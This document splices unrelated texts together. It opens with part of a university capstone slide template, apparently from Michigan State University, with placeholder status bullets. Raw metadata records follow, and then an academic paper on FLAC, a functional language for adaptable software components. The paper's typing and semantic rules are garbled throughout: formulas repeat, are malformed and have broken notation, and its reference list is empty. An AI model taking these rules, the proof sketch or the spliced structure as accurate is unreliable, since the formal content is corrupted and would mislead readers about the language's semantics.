– Email a copy of your slide deck to your client as well by 11:59 p.m., Wednesday, January 19. Do not cc us on that email. Include some professional text in the body of your email to practice being a professional and to avoid having your email sent to your project sponsor’s junk folder.
Status Report Presentation
[Project Title 36pt]
The Capstone Experience
Team [Team Name 24pt]
[Team Member 1 16pt]
[Team Member 2 16pt]
[Team Member 3 16pt]
[Team Member 4 16pt]
[Team Member 5 16pt]
[Team Member 6 16pt]
Department of Computer Science and Engineering
Michigan State University
Spring 2022
[Project Title]
• Project Overview
▪ Description Point 1
▪ Description Point 2
▪ Description Point 3
▪ Description Point 4
• Project Plan Document
▪ Status Point 1
▪ Status Point 2
▪ Status Point 3
▪ Status Point 4
Status Information:
Think clicking “Status” on an Amazon order.
• You bought this on Monday, January 10. Helpful?
• We’re going to send this to you. Satisfied?
• People who bought this also bought…. We good?
Where the $*(%($* is my order?
Include status information.
What’s the status of your project plan document?
Have you started it?
How much have you written?
What percentage complete is it?
Delete this textbox and the brace to the left.
[Project Title]
• Server Systems / Software
▪ Description &/or Status Point 1
▪ Description &/or Status Point 2
▪ Description &/or Status Point 3
• Development Systems / Software
▪ Description &/or Status Point 1
▪ Description &/or Status Point 2
▪ Description &/or Status Point 3
Include status information.
Are all systems up and running?
Have you tested everything?
Delete this textbox and the brace to the left.
Team [Team Name]
Status Report
[Project Title]
• Client Contact
▪ Status Point 1
▪ Status Point 2
• Team Meetings
▪ Status Point 1
▪ Status Point 2
• Team Organization
▪ Description Point 1
▪ Description Point 2
Include status information.
Have you talked with/met with your client?
Have you scheduled a weekly conference call? When?
Have you scheduled an in-person meeting? When?
How many times has your team met so far?
Have you scheduled team meetings? How often?
Delete this textbox and the brace to the left.
Include status information.
Who’s doing what?
Delete this textbox and the brace to the left.
A “Risk” is a significant task that you need to accomplish that you currently do not know how to do. Usually, a risk is a “showstopper,” meaning if you cannot complete the task, you cannot complete your project.
“Mitigation” for a particular risk is your plan for eliminating that risk; that is, your plan for figuring out how to accomplish the task.
List only “real” risks. For example, learning new computer languages is **not** a risk for an MSU CSE student.
Give “useful” explanations of how you are going to mitigate each risk. For example, “we will learn how to do it” is **not** a useful explanation.
**Delete this textbox.**
|
{"Source-Url": "http://www.capstone.cse.msu.edu/2022-01/schedules/all-hands-meetings/notes/01-18-risks-and-prototypes.pdf", "len_cl100k_base": 7467, "olmocr-version": "0.1.50", "pdf-total-pages": 69, "total-fallback-pages": 0, "total-input-tokens": 97078, "total-output-tokens": 9826, "length": "2e12", "weborganizer": {"__label__adult": 0.0011997222900390625, "__label__art_design": 0.004207611083984375, "__label__crime_law": 0.0010547637939453125, "__label__education_jobs": 0.39111328125, "__label__entertainment": 0.0005950927734375, "__label__fashion_beauty": 0.0011014938354492188, "__label__finance_business": 0.005153656005859375, "__label__food_dining": 0.0009555816650390624, "__label__games": 0.005619049072265625, "__label__hardware": 0.003238677978515625, "__label__health": 0.0010042190551757812, "__label__history": 0.0013704299926757812, "__label__home_hobbies": 0.0011148452758789062, "__label__industrial": 0.002498626708984375, "__label__literature": 0.0011425018310546875, "__label__politics": 0.0005197525024414062, "__label__religion": 0.0008869171142578125, "__label__science_tech": 0.02056884765625, "__label__social_life": 0.0012884140014648438, "__label__software": 0.02117919921875, "__label__software_dev": 0.5224609375, "__label__sports_fitness": 0.00930023193359375, "__label__transportation": 0.0018281936645507812, "__label__travel": 0.0008029937744140625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 25353, 0.02353]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 25353, 0.05431]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 25353, 0.84885]], "google_gemma-3-12b-it_contains_pii": [[0, 199, false], [199, 805, null], [805, 849, null], [849, 1150, null], [1150, 1358, null], [1358, 1585, null], [1585, 1651, null], [1651, 1943, null], [1943, 2200, null], [2200, 2543, null], [2543, 2965, null], [2965, 3200, null], [3200, 3244, null], [3244, 3498, null], [3498, 3663, null], [3663, 3891, null], [3891, 4222, null], [4222, 4669, null], [4669, 4860, null], [4860, 5174, null], [5174, 5406, null], [5406, 5479, null], [5479, 5759, null], [5759, 6127, null], [6127, 6214, null], [6214, 6520, null], [6520, 6859, null], [6859, 7369, null], [7369, 7701, null], [7701, 7944, null], [7944, 8658, null], [8658, 9021, null], [9021, 9230, null], [9230, 10074, null], [10074, 11473, null], [11473, 11552, null], [11552, 11907, null], [11907, 12788, null], [12788, 12861, null], [12861, 13120, null], [13120, 13448, null], [13448, 13542, null], [13542, 13579, null], [13579, 13648, null], [13648, 13648, null], [13648, 13721, null], [13721, 14057, null], [14057, 14166, null], [14166, 14484, null], [14484, 14892, null], [14892, 15881, null], [15881, 16174, null], [16174, 16247, null], [16247, 16290, null], [16290, 16301, null], [16301, 16615, null], [16615, 16698, null], [16698, 17198, null], [17198, 17514, null], [17514, 17956, null], [17956, 18595, null], [18595, 18936, null], [18936, 20492, null], [20492, 22669, null], [22669, 22979, null], [22979, 23657, null], [23657, 24091, null], [24091, 24717, null], [24717, 25353, null]], "google_gemma-3-12b-it_is_public_document": [[0, 199, true], [199, 805, null], [805, 849, null], [849, 1150, null], [1150, 1358, null], [1358, 1585, null], [1585, 1651, null], [1651, 1943, null], [1943, 2200, null], [2200, 2543, null], [2543, 2965, null], [2965, 3200, null], [3200, 3244, null], [3244, 3498, null], [3498, 3663, null], [3663, 3891, null], [3891, 4222, null], [4222, 4669, null], [4669, 4860, null], [4860, 5174, null], [5174, 5406, null], [5406, 5479, null], [5479, 5759, null], [5759, 6127, null], [6127, 6214, null], [6214, 6520, null], [6520, 6859, null], [6859, 7369, null], [7369, 7701, null], [7701, 7944, null], [7944, 8658, null], [8658, 9021, null], [9021, 9230, null], [9230, 10074, null], [10074, 11473, null], [11473, 11552, null], [11552, 11907, null], [11907, 12788, null], [12788, 12861, null], [12861, 13120, null], [13120, 13448, null], [13448, 13542, null], [13542, 13579, null], [13579, 13648, null], [13648, 13648, null], [13648, 13721, null], [13721, 14057, null], [14057, 14166, null], [14166, 14484, null], [14484, 14892, null], [14892, 15881, null], [15881, 16174, null], [16174, 16247, null], [16247, 16290, null], [16290, 16301, null], [16301, 16615, null], [16615, 16698, null], [16698, 17198, null], [17198, 17514, null], [17514, 17956, null], [17956, 18595, null], [18595, 18936, null], [18936, 20492, null], [20492, 22669, null], [22669, 22979, null], [22979, 23657, null], [23657, 24091, null], [24091, 24717, null], [24717, 25353, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 25353, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 25353, null]], "pdf_page_numbers": [[0, 199, 1], [199, 805, 2], [805, 849, 3], [849, 1150, 4], [1150, 1358, 5], [1358, 1585, 6], [1585, 1651, 7], [1651, 1943, 8], [1943, 2200, 9], [2200, 2543, 10], [2543, 2965, 11], [2965, 3200, 12], [3200, 3244, 13], [3244, 3498, 14], [3498, 3663, 15], [3663, 3891, 16], [3891, 4222, 17], [4222, 4669, 18], [4669, 4860, 19], [4860, 5174, 20], [5174, 5406, 21], [5406, 5479, 22], [5479, 5759, 23], [5759, 6127, 24], [6127, 6214, 25], [6214, 6520, 26], [6520, 6859, 27], [6859, 7369, 28], [7369, 7701, 29], [7701, 7944, 30], [7944, 8658, 31], [8658, 9021, 32], [9021, 9230, 33], [9230, 10074, 34], [10074, 11473, 35], [11473, 11552, 36], [11552, 11907, 37], [11907, 12788, 38], [12788, 12861, 39], [12861, 13120, 40], [13120, 13448, 41], [13448, 13542, 42], [13542, 13579, 43], [13579, 13648, 44], [13648, 13648, 45], [13648, 13721, 46], [13721, 14057, 47], [14057, 14166, 48], [14166, 14484, 49], [14484, 14892, 50], [14892, 15881, 51], [15881, 16174, 52], [16174, 16247, 53], [16247, 16290, 54], [16290, 16301, 55], [16301, 16615, 56], [16615, 16698, 57], [16698, 17198, 58], [17198, 17514, 59], [17514, 17956, 60], [17956, 18595, 61], [18595, 18936, 62], [18936, 20492, 63], [20492, 22669, 64], [22669, 22979, 65], [22979, 23657, 66], [23657, 24091, 67], [24091, 24717, 68], [24717, 25353, 69]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 25353, 0.06641]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
8af987ba642faba07f94a9313b0f8d7ef1f6caa6
|
A Formal Framework for a Functional Language with Adaptable Components
PascalCoupey,ChristopheFouqueré
To cite this version:
PascalCoupey,ChristopheFouqueré.AFormalFrameworkforaFunctionalLanguagewithAdaptableComponents.2010.<hal-00530860>
HALId:hal-00530860
https://hal.archives-ouvertes.fr/hal-00530860
Submittedon30Oct2010
HALisamulti-disciplinaryopenaccessarchiveforthedepositanddisseminationofscientificresearchdocuments,whethertheyarepublishedornot. Thedocumentsmaycomefrom teachingandresearchinstitutionsinFranceor abroad,orfrompublicorprivateresearchcenters. L’archiveouvertepluridisciplinaireHAL,est destinéeaudépôtetàladiffusiondedocumentsscientifiquesdeniveaurecherche,publiésounon, émanantdesétablissementsd’enseignementetderesecharchefrançaisouétrangers,deslaboratoires publicsouprivés.
A Formal Framework for a Functional Language with Adaptable Components
P. Coupey C. Fouqueré
LIPN – UMR7030
CNRS – Université Paris 13
99 av. J-B Clément, F–93430 Villetaneuse, France
firstname.lastname@lipn.univ-paris13.fr
Abstract
We propose a component programming language called FLAC, *Functional Language for Adaptable Components*, on top of a functional programming language which authorizes full adaptability of components while ensuring type safety. The language is given together with a type system that offers a complete static type checking of any programs (including adaptations) to ensure error-free run-time adaptations. Dynamic adaptability and static type checking might seem at first sight paradoxical, but our approach allows it because, first, we use a single language for traditional services and control services (i.e., services for adaptations), and secondly, a specific merge operation takes care of adaptations.¹
1. Introduction
Component-based programming is like a construction game: programs are assembled out of black boxes called components. The term ‘black box’ is justified by the fact that only the interfaces of components are publicly available. Such an interface characterizes the signatures of services the component offers or needs. The basic construct *plug assembles* a component that provides a service to a component that needs it. The domain of component-based systems (CBS) is mature enough to actually endorse the benefits of such a paradigm [12]. *Safety* and *adaptativity* are the two main requirements for such systems. Safety is ensured when execution is error-free. For that purpose, most CBSs expect each required service used by a component to be satisfied by a service provided by another component (soundness) and any service offered by a component to be concretely defined (completeness) [7, 9]. Obviously, type checking must be done accordingly. Adaptable capabilities are required to fit the evolution of the environment, software or hardware. Hence it is often given as an important goal for CBSs [3]. It may be minimal as in works of Aldrich [1] or Sreedhar [11] or first works of Costa Seco et al. [8] or more developed as in works of Dowling et al. [5] or Batista et al. [2], Bruneton et al. [4] or last works of Costa Seco et al. [9, 10]. A CBS is *dynamic* if adaptations can be made at runtime as reactions for contextual events. If adaptations are made by an external actor (e.g., a programmer) via a declarative or procedural interface, adaptations are called *external* although they are called *closed* when all adaptations are internal. Current dynamic closed CBSs provide a meta-model by incorporating a specific adaptation language different from the language allowing component description and assemble. They also have mechanisms ensuring integrity and consistency of the system during dynamic reconfiguration. The meta-model manages a configuration graph of components and connections that can be inspected and modified at runtime. For example in the Fractal framework [4], component controllers allow to predict component changes at runtime (deleting or replacing a component, adding/removing functionalities, changing links with other components, ...) and dynamic adaptation is achieved by introspecting and reconfiguring the internal structure of components. The implementation of adaptability is frequently done by modifying the byte-code at runtime. However, in most existing CBSs, adaptability is limited if type checking is in use: the type of the new component should be a subtype of the type of the old component. The type of a component is roughly defined in current CBSs as the set of the signatures of its provided and requested services, and subtyping is covariant with provided services and contravariant with requested services. Furthermore usual target languages, e.g., JA V A [1, 4], are not as strongly typed as one can expect as type conversion is allowed. Note also that types are not automatically inferred in these languages. Thus, if the language is not constrained, the programmer could easily override typing constraints, giving rise to unexpected results or software crashes. Costa Seco et al. [9, 10] propose a component-oriented programming language that authorizes adaptations of component objects thanks to *configurators*, i.e., reconfiguration scripts that describe architectural operations modifying the structure of a component. Type control is ensured by configurator type declaration using a specific language. A configurator type describes the pre and post conditions for the application of the configurator. However, first the architectural operations in the configurator description is outside the static context of the components on which they are applied, hence they are white-box operations. Consequently, the type of a configurator cannot be automatically inferred: a configurator definition requires an explicit type. Second, precondition type mismatches are not visible to the type system: the programmer has to prevent them by means of conditional structures. To summarize, two drawbacks prevent a plain use of CBSs:
- Adaptable is constrained by the way the component type is defined: adaptations cannot alter the signature of required or provided services. However, the environment may simultaneously evolve in such a way that the final system is still correctly typed.
- Casting and byte-code modification forbid static analysis of a code, hence safety of program execution.
The language FLAC, *Functional Language for Adaptable Components*, presented in this paper allows dynamic internal adaptations without the two previous drawbacks: dynamic adaptations.
may remove or add requested or provided services, while types are statically checked:
1. Adaptation constructs are first-class entities: there is no meta-language. Hence, type specification integrates adaptations declared in the code: the type of a component is not only given by the actual signatures of requested and provided services but also by those resulting from its adaptations. To the best of our knowledge it is the first proposal where the type of a component integrates adaptation services. It means that in our language, the type of a component without adaptation capabilities is not identical to the “same” component with such adaptation properties. Indeed, how a simple car toy can be considered as having the same type than a car toy which can become a robot thanks to an adaptation property? Consequently, type checking may be completely done statically.
2. Executing an adaptation creates a new component in the memory, whereas current approaches change bytecodes in place. Hence components have only one type for the whole run of the program. A garbage collector mechanism, concretely the one given with OCaml [6], allows for freeing unused components.
3. The language is strongly-typed (as well as OCaml) ensuring error-free run-time adaptations.
In the next section we present the language FLAC. We focus on adaptations capabilities with various examples. Its operational semantics is described in section 3 and we give in section 4 a typing system that ensures safetiness.
2. The FLAC Language
We extend a functional programming language mainly by means of a Component data structure that integrates an interface (requested and provided services) and a functional part intended to define service codes (see Fig. 1). A Service name is a string. Return types of service expressions are automatically inferred. Component parameters may be any kind of expressions, including services as well as components. Services are referenced by Uniform Resource Services (URS). A URS is identified by a component followed by a service name, optionally with a signature. The syntax for expressions is augmented to take care of these new structures: call, plug and merge operations are sufficient to illustrate adaptation capability.
In Fig. 2, two components are declared: a database Server offers a service u dedicated to process database requests, a Client asks for a database service p. The program creates a client e1 and a server s1 and plugs them together. The plug expression creates a call indirection from p in e1 to u in s1. Note that such a plug sends back a new component, i.e., it does not modify in place the component e1.
Adaptations in FLAC are given by control services, i.e., services that add/delete services, hence create new components. In figures, control services appear on top of components. Control services contribute to the definition of components without reference to a meta-language: not only they could be required or provided, but also they are undistinguishable from standard services. In fact, control services are those that return a component, contrarily to services that return basic data. The type system of FLAC is able to infer and check control services types. A call to a control service followed by a merge operation constructs a new component adapted from the old one. Two modes are proposed in expression (merge e2 e1): add returns a new component by adding the contents of e2 to e1 while sub removes the contents of e2 from e1.
3OCaml [6] is used as a core functional language.
trated when computing \( s_k \). In the same way, it is obvious to add or to remove a requested service. For example, our server could evolve toward a securized server which needs a service \( k \) to encrypt or decrypt a string. To do this, simply add a control service which returns a component including a requested encryption/decryption service \( k \).
Fig. 3: Using control service: adding and removing a service
Example in Fig. 4 illustrates a succession of adaptations from a simple client-server couple plugged together to a securized client-server couple, that are plugged via both simple and administration database request services. We add to previous figures component \( \text{Client}_2 \), a database client that can evolve toward one that needs an encryption/decryption service and/or one that requires an administration service \( p \), and component \( \text{Server}_2 \), that contains a control service \( v \) able to transform it to a securized server that needs an encryption/decryption service. Component \( \text{Crypt} \) proposes a service \( v \) for encrypting/decrypting strings. Note the difference between the way clients \( c_5 \) and \( c_7 \) are created: client \( c_5 \) shares the same encryption/decryption protocol with server \( s_3 \) (hence also \( s_4 \)), whereas client \( c_7 \) is allowed to call the service a declared in server \( s_4 \).
Next two sections are devoted to the formal aspects of FLAC. Next section presents an operational semantics that gives the meaning of any valid program in FLAC while section 4 highlights the type system.
3. Operational Semantics
The operational semantics follow standard functional programming operational semantics: it is given as an evaluation judgment on programs and expressions to be computed with respect to a given environment. An environment is an evaluation environment together with a handler environment. An evaluation environment is a partial function from the set of variable names and component locations to values, either ground values or handlers to such values (supposing a domain of handlers). The evaluation environment has a special variable name ‘\text{self}’ whose value is a handler, it is supposed to be the handler of the component defined in the current context. A handler environment is a partial function from the set of handlers to values. Handlers are used to denote component values. The evaluation judgment for expressions is of the following form:
\[ E, H \vdash e \Downarrow v, H' \]
read as: the evaluation of expression \( e \) in an evaluation environment \( E \) with a handler environment \( H \) leads to a value \( v \) together with a handler environment \( H' \). A handler value is given as a function over the domain \( \{ \text{req, prv, serv} \} \). Values for \( \text{req} \) and \( \text{prv} \) selectors are sets of requested or provided services, i.e., signatures of services. The value of \( \text{serv} \) selector is a map from service names to functional closures. We do not present the operational semantics of the functional part of the language. We extend a domain of basic (functional and data) values by the following kinds of values:
- \( h \), value of a component, i.e., a handler value.
- \( \{ h, s, t_p \} \), value of an URS where \( h \) is the value of a component, \( s \) is a service name, i.e., a string, \( t_p \) is a type (for discriminating services with the same name, it may be empty).
The operational semantics of Components is given in Fig. 5. The semantics corresponding to a Component declaration is straightforwardly given by lists of requested or provided services, and a closure similar to the treatment of functions: the rule is nothing else but a new value given for the reference. The lists of requested or provided services may be used if one extends the language by expressions asking for the interface of components. The semantics of plugging a service is similar to
\[
\text{Component Services} \quad \{ s_1(p) \Rightarrow (\text{call } c_2?p) ; \} \\
\text{Cend}
\]
except that ‘\text{self}’ should refer to the component given in the first argument. The operation noted ‘\( \text{merge\#sub} \)’ adds (resp. deletes) from its first argument the second argument if present. The semantics of an URS follows its syntactical structure. Rules are given in Fig. 6. A call to a service stipulates a service name and possibly a selector.
There are various ways of merging components in FLAC. This gives the user full control over the model of components to have at the end and full modularity with respect to specification. Informally, two merge modes are given here:
\[
\begin{align*}
\text{Components} \\
\quad t_c ::= (\rho, p, p) \quad \text{component type} \\
\quad \rho ::= e \quad \text{end of the sequence of service types}
\end{align*}
\]
\[s \rightarrow [t_p \rightarrow t] \rho \]
\[\Delta_{\text{inlist}}: \]
\[\Delta_{\text{inlist}}:\]
\[\rho' = \rho \lor (s \rightarrow t_p \rightarrow t)\]
\[\Delta_{\text{inlist}} ([t] s([t_p] \rho) \Rightarrow e; S_{\text{list}} : \rho']\]
\[\rho' = \rho \lor (s \rightarrow t_p \rightarrow t)\]
\[\Delta_{\text{inlist}} ([t] s([t_p] \rho) \Rightarrow e; S_{\text{list}} : \rho']\]
Provided and requested service declarations are typed with \( \vdash_{\text{mtlist}} \) judgment rules. Note that requested services are given service types without code types.
\[
\begin{align*}
\Delta \vdash_s s : s & \quad \text{[a type]} \\
\Delta \vdash_{\text{mtlist}} s_{\text{mtlist}} : \rho & \quad \rho = \rho \lor (s \rightarrow t) \\
\end{align*}
\]
A component type merges together service types as declared in the three parts of a component definition.
\[
\begin{align*}
\Delta, \vdash_{\text{mtlist}} s_1 : \rho_1 & \quad \Delta, \vdash_{\text{mtlist}} s_2 : \rho_2 & \quad \Delta, \vdash_{\text{mtlist}} s_3 : \rho_3 \\
\end{align*}
\]
For typing the plug operation, a virtual component is created that serves as a go-between to send the call from a component to another one. The unplug operation is typed accordingly: a virtual component is created containing only an undefined service type for what is unplugged.
\[
\begin{align*}
\Delta \vdash_{\text{uns}} e_1 : (t_1, s_1, t_1) & \quad t_1 = (\rho_1, \rho_1, \rho_1) \\
\Delta, \text{self} \mapsto t_1 & \quad \vdash_{\text{mtlist}} e_2 : (t_2, s_2, t_2) \\
\Delta, v \mapsto t_2 & \quad \vdash (\text{call} e_2?) : t_2 \\
\rho'_\text{v} = \rho_1 & \mapsto s_1 \rightarrow t_1 & \rho'_1 = \rho_1 & \mapsto s_1 \rightarrow t_1 \rightarrow t_2 \\
\Delta \vdash (\text{plug } e_1 e_2) : (\rho'_1, \rho_1, \rho_1) \\
\Delta \vdash_{\text{uns}} e_1 : (t_1, s_1, t_1) & \quad t_1 = (\rho_1, \rho_1, \rho_1) \\
\rho'_1 = \rho_1 & \mapsto s_1 \rightarrow t_1 & \rho'_1 = \rho_1 & \mapsto s_1 \rightarrow t_1 \rightarrow t_2 \\
\Delta \vdash (\text{unplug } e_1) : (\rho'_1, \rho_1, \rho_1) \\
\end{align*}
\]
The call result type is the result type of the service.
\[
\begin{align*}
\Delta \vdash_{\text{uns}} e_1 : (t_1, s_1, t_1) & \quad t_1 = (\rho_1, \rho_1, \rho_1) \\
\Delta \vdash_{\text{mtlist}} e_2 : t_2 & \quad s_1 \rightarrow t_1 \rightarrow t'_2 \in \rho_1 & \quad s_1 \rightarrow t_1 \in \rho_1 \\
\Delta \vdash (\text{call } e_1[s_2]) : t'_2 \\
\end{align*}
\]
The type language is extended by a mode value \( \mu \subset \{\text{add, sub}\} \). The type of a component expression is a sequence of service types. A service type is a mapping from a service name to a set of modes and a code type (the type of the service code). The set of modes declares the available ways to call the service. Finally, as in object functional programming, component locations appear as types. This generates a finite set of types for a finite program. The merge operation merges the two component types with respect to the mode. In rule below, \( m = \text{add} \) if \( e_3 \) is empty:
\[
\begin{align*}
\Delta \vdash e_1 : t_1 & \quad \Delta, \text{self} \mapsto t_1 & \quad \vdash e_2 : t_2 & \quad [\Delta \vdash_\mu e_3 : m] \\
\Delta \vdash (\text{merge} [\# e_3] e_1 e_2) : t_1 \leftarrow m t_2 \\
\end{align*}
\]
Type safety follows from verifying standard type preservation properties. Hence well-typed expressions are evaluable, i.e., there cannot be evaluation errors (provided for the functional language part an operational semantics safe with respect to a classic typing). E.g., if expressions typable in the underlying functional language are always reducible to values:\(^6\)
**Theorem 1.** Let \( e \) be an expression of the language, if \( \vdash e : t \) is provable, then there exist \( v, H \) such that \( \vdash e \downarrow v, H \) is provable.
---
\(^6\) A more general statement may be given: if an expression is well-typed then it is either a value or it is reducible with a small-step version of the operational semantics.
---
5. Conclusion
The FLAC programing language deals with adaptable components. Its main feature concerns dynamic internal adaptations in a strongly-typed language. It is facilitated by the fact that adaptations are described in the same language as the component description language. This language may be developed in several directions we currently study. Among them, structuring components is in practice highly expected as it increases the modularity of the language. This may be done by adding named parameters to component definitions. Such named parameters not only allow assignments of (sub)components but they may be used for denoting them. It is then possible, for the programmer, to write control services such that the part of the component not involved in the evolution is automatically rebuilt. This may be implemented by abstractly manipulating the structure of components, i.e., addressing each subcomponent by its named path.
---
References
6. Appendix
Theorem 1. Provided the underlying functional language evaluates typable expressions, let e be an expression of the language, if \( \vdash e : t \) is provable, then there exist v, \( E, H \) such that \( \vdash e \Downarrow v, E, H \) is provable.
Proof. We prove the following: Let e be an expression of the language, if \( \Delta \vdash e : t \) is provable, then there exist v, \( E, H, H' \) such that \( E, H, H' \vdash e \Downarrow v, H' \) is provable, furthermore if t is a component type then v is a handler with value in \( H' \) such that the structure of this value follows the structure of \( t \), finally if \( \Delta(x) \) is defined then also \( E(x) \) and if \( E(x) \) is a handler then \( H(\Delta(x)) \) has a value. Similar properties for other type inference systems, i.e., \( \gamma \text{const} ... \)
The proof is done by considering each rule of the typing system.
\[ s \vdash s : s \quad \text{then for all } E, H, \quad E, H \vdash s \Downarrow s, H \]
\[ t_c = \Delta(\text{self}) \quad \Delta \vdash e_2 : s \quad \Delta \vdash p : t_p \]
\[ \Delta \vdash [\#e_2(t_p) : (t_c, s, t_p)] \quad \text{then, given the hypothesis of the typing rule, there exist } E, H, h, H_1, s, H_2, \quad \text{that justify the hypothesis of the operational rule:} \]
\[ h = E(\text{self}) \quad \vDash E, H \Downarrow e_2 \Downarrow s, H_1 \]
\[ E, H \vdash \#e_2(t_p) : (h, s, t_p), H_1 \]
\[ \Delta \vdash e_1 : t_c \quad \Delta \vdash e_2 : s \quad \Delta \vdash p : t_p \]
\[ \Delta \vdash [\#e_1(t_c) : (t_c, s, t_c)] \quad \text{then, given the hypothesis of the typing rule, there exist } E, H, h, H_1, s, H_2, \quad \text{that justify the hypothesis of the operational rule:} \]
\[ E, H \vdash e_1 \Downarrow h, H_1 \quad \vDash E, H_1 \Downarrow e_2 \Downarrow s, H_2 \]
\[ E, H \vdash e_1 \Downarrow e_2 \Downarrow (h, s, t_p), H_3 \]
\[ \Delta \vdash \text{s_list}_1 : \quad \text{then for all } E, H, \quad E, H \vdash \text{empty} \Downarrow [ ] \]
\[ \Delta \vdash s : s \quad \Delta \vdash p : t_p \quad \Delta \vdash e : t \]
\[ \Delta \vdash \text{s_list}_2 \quad \text{then, given the hypothesis of the typing rule, there exist } E, H, v, L, \quad \text{that justify the hypothesis of the operational rules:} \]
\[ E, H \vdash \#(v, \text{s_list}) : (p) \Rightarrow e : [s_1 : \text{s_list} : \rho'] \quad \text{then, given the hypothesis of the typing rule, there exist } E, H, v, L, \quad \text{that justify the hypothesis of the operational rules:} \]
\[ E, H \vdash \#(v, \text{s_list}) \Rightarrow (p) \Rightarrow e : \text{s_list} \quad \text{and} \]
\[ E, H \vdash \#(v, \text{s_list}) \Rightarrow (p) \Rightarrow e : \text{s_list} \quad \text{and} \]
\[ E, H \vdash \#(v, \text{s_list}) \Rightarrow (p) \Rightarrow e : \text{s_list} \quad \text{and} \]
\[ \Delta \vdash \text{s_list}_1 : \quad \text{this rule as well as the following one are used to present a list of available or requested services. The operational semantics is nothing else but the list itself.} \]
\[ \Delta \vdash s : s \quad \{ t a \ type \}
\[ \Delta \vdash \text{s_list}_3 \quad \text{then, given the hypothesis of the typing rule, there exist } E, H, \quad \text{that justify the hypothesis of the operational rule:} \]
\[ \Delta \vdash \text{merge}([\#e_1] e_1 e_2) \Rightarrow e_1 \Leftarrow_{\mu} e_2 \]
\[ \Delta \vdash \text{merge}([\#e_1] e_1 e_2) \Rightarrow e_1 \Leftarrow_{\mu} e_2 \]
\[ \Delta \vdash \text{merge}([\#e_1] e_1 e_2) \Rightarrow e_1 \Leftarrow_{\mu} e_2 \]
\[ \Delta \vdash \text{merge}([\#e_1] e_1 e_2) \Rightarrow e_1 \Leftarrow_{\mu} e_2 \]
|
{"Source-Url": "https://hal.archives-ouvertes.fr/hal-00530860/document", "len_cl100k_base": 6053, "olmocr-version": "0.1.50", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 30125, "total-output-tokens": 7366, "length": "2e12", "weborganizer": {"__label__adult": 0.0003504753112792969, "__label__art_design": 0.00032591819763183594, "__label__crime_law": 0.00029397010803222656, "__label__education_jobs": 0.0003228187561035156, "__label__entertainment": 5.0961971282958984e-05, "__label__fashion_beauty": 0.0001302957534790039, "__label__finance_business": 0.0001354217529296875, "__label__food_dining": 0.0003349781036376953, "__label__games": 0.0003535747528076172, "__label__hardware": 0.000518798828125, "__label__health": 0.0003666877746582031, "__label__history": 0.0001552104949951172, "__label__home_hobbies": 6.16312026977539e-05, "__label__industrial": 0.0002524852752685547, "__label__literature": 0.0002446174621582031, "__label__politics": 0.0002124309539794922, "__label__religion": 0.0004208087921142578, "__label__science_tech": 0.00452423095703125, "__label__social_life": 6.812810897827148e-05, "__label__software": 0.0034694671630859375, "__label__software_dev": 0.98681640625, "__label__sports_fitness": 0.0002455711364746094, "__label__transportation": 0.0003495216369628906, "__label__travel": 0.0001779794692993164}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 25937, 0.02835]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 25937, 0.43232]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 25937, 0.81606]], "google_gemma-3-12b-it_contains_pii": [[0, 802, false], [802, 6490, null], [6490, 10029, null], [10029, 14687, null], [14687, 15259, null], [15259, 21553, null], [21553, 22315, null], [22315, 25937, null]], "google_gemma-3-12b-it_is_public_document": [[0, 802, true], [802, 6490, null], [6490, 10029, null], [10029, 14687, null], [14687, 15259, null], [15259, 21553, null], [21553, 22315, null], [22315, 25937, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 25937, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 25937, null]], "pdf_page_numbers": [[0, 802, 1], [802, 6490, 2], [6490, 10029, 3], [10029, 14687, 4], [14687, 15259, 5], [15259, 21553, 6], [21553, 22315, 7], [22315, 25937, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 25937, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-01
|
2024-12-01
|
d59eb44f1a213f540cdbe9c9f94bb0c5409d570e
|
